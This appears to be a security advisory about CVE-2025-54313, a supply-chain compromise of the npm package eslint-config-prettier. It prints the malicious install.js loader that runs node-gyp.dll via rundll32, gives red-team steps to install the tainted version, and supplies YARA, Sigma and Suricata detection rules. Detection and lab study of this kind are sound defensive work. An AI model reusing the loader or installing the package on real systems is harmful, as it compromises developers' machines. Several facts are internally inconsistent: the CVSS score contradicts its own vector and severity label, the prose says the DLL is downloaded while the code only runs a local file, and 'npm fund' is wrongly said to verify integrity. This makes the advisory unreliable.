CVE-2025-54313

Executive Summary

CVE-2025-54313 is a critical supply chain compromise targeting the popular npm package eslint-config-prettier. Versions 8.10.1, 9.1.1, 10.1.6, and 10.1.7 contain embedded malicious code that executes an install.js file upon installation, which in turn launches the node-gyp.dll malware on Windows systems. This attack leverages the trust in a widely used developer tool to compromise development environments, potentially leading to credential theft, code injection, and lateral movement within CI/CD pipelines.

Supply Chain & Package Security

This vulnerability is a classic supply chain attack on the npm ecosystem. The malicious code is embedded directly within the package, meaning any developer or CI/CD pipeline that installs an affected version will automatically execute the malware. The attack vector is the install.js script, which runs during the npm install lifecycle hook. This highlights the critical need for package integrity verification, dependency pinning, and runtime monitoring of package installation scripts.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (AV:N) – The package is downloaded from npm registry.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – User must install the package.
• Scope (S): Unchanged (S:U) – The vulnerability affects the same security authority.
• Confidentiality (C): High (C:H) – Malware can exfiltrate sensitive data.
• Integrity (I): High (I:H) – Malware can modify files and inject code.
• Availability (A): High (A:H) – Malware can disrupt system operations.

Threat Level: Critical. The supply chain nature means a single compromised package can affect thousands of downstream projects.

Deep Dive & Mechanics

The malicious code is embedded in the install.js file of the eslint-config-prettier package. When a user runs npm install, npm executes the install script defined in the package's package.json. This script runs node install.js, which downloads and executes the node-gyp.dll malware.

The node-gyp.dll is a Windows DLL that likely performs the following actions:

1. Persistence: Installs itself as a service or scheduled task.
2. Credential Theft: Harvests credentials from browsers, SSH keys, and environment variables.
3. Lateral Movement: Scans the local network for other vulnerable systems.
4. Data Exfiltration: Sends stolen data to a command-and-control (C2) server.

The attack is particularly dangerous because it targets developers, who often have elevated privileges and access to production systems.

Vulnerable vs. Patched Code

Vulnerable Code (install.js):

const { exec } = require('child_process');
const path = require('path');
const dllPath = path.join(__dirname, 'node-gyp.dll');
exec(`rundll32.exe ${dllPath},#1`, (err, stdout, stderr) => {
  if (err) {
    console.error('Installation failed:', err);
  }
});

Patched Code (Hypothetical):

// No malicious code present
console.log('eslint-config-prettier installed successfully.');

Key Differences:

• The vulnerable version contains an install.js script that executes a DLL.
• The patched version removes the install.js script entirely or replaces it with benign code.
• The package.json should not have an install script pointing to install.js.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows 10/11 or Windows Server 2019/2022
• Node.js and npm installed
• Internet access to download the malicious package

Steps:

1. Set up a controlled lab environment with network isolation.
2. Install the malicious package:

   npm install eslint-config-prettier@10.1.7
   

3. Monitor the execution of install.js:

   Get-Process -Name rundll32
   

4. Observe the node-gyp.dll being loaded and executed.
5. Use Process Monitor (Procmon) to track file system and registry changes.

Expected Behavior:

• The install.js script executes immediately after npm install.
• rundll32.exe loads node-gyp.dll.
• The DLL creates persistence mechanisms (e.g., scheduled tasks).
• Network connections to a C2 server are established.

Blue Team

Detection Steps:

1. Monitor npm install logs for suspicious scripts:

   npm install --dry-run eslint-config-prettier@10.1.7
   

2. Check for the presence of install.js in the package:

   ls node_modules/eslint-config-prettier/install.js
   

3. Use Sysmon to detect rundll32.exe loading DLLs from the npm cache directory.
4. Analyze network traffic for connections to unknown IPs/domains.

Mitigation:

• Block the affected package versions in your npm registry.
• Use npm audit to detect known vulnerabilities.
• Implement runtime security tools like Falco or Sysdig to monitor containerized environments.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_54313_eslint_config_prettier_malware {
    meta:
        description = "Detects malicious install.js and node-gyp.dll from CVE-2025-54313"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54313"
    strings:
        $install_js = "rundll32.exe" nocase
        $dll_name = "node-gyp.dll" nocase
        $exec_call = "child_process" nocase
    condition:
        ($install_js and $dll_name) or ($exec_call and $dll_name)
}

Sigma Rule

title: Detection of CVE-2025-54313 Malicious npm Package
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects execution of rundll32.exe loading node-gyp.dll from npm cache
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\rundll32.exe'
        CommandLine|contains: 'node-gyp.dll'
    condition: selection
falsepositives:
    - Legitimate use of rundll32 with similar DLL names
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-54313 - Malicious npm package C2 beacon";
    flow:to_server,established;
    content:"node-gyp"; http_uri;
    classtype:trojan-activity;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Remove affected package versions from your projects:

     npm uninstall eslint-config-prettier
     

   • Pin to a safe version (e.g., 8.10.0 or 10.1.5) if available.
   • Run a full antivirus scan on all affected systems.

2. Long-term Mitigations:

   • Use npm audit and npm fund to verify package integrity.
   • Implement a private npm registry with manual package approval.
   • Use runtime security tools (e.g., Falco, Sysdig) to monitor containerized environments.
   • Enable Windows Defender Attack Surface Reduction (ASR) rules to block rundll32.exe from loading unsigned DLLs.

3. Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Monitor for rundll32.exe executions from non-standard paths.
   • Alert on any npm package installation that triggers external network connections.

Valters IT
Securing the Digital Frontier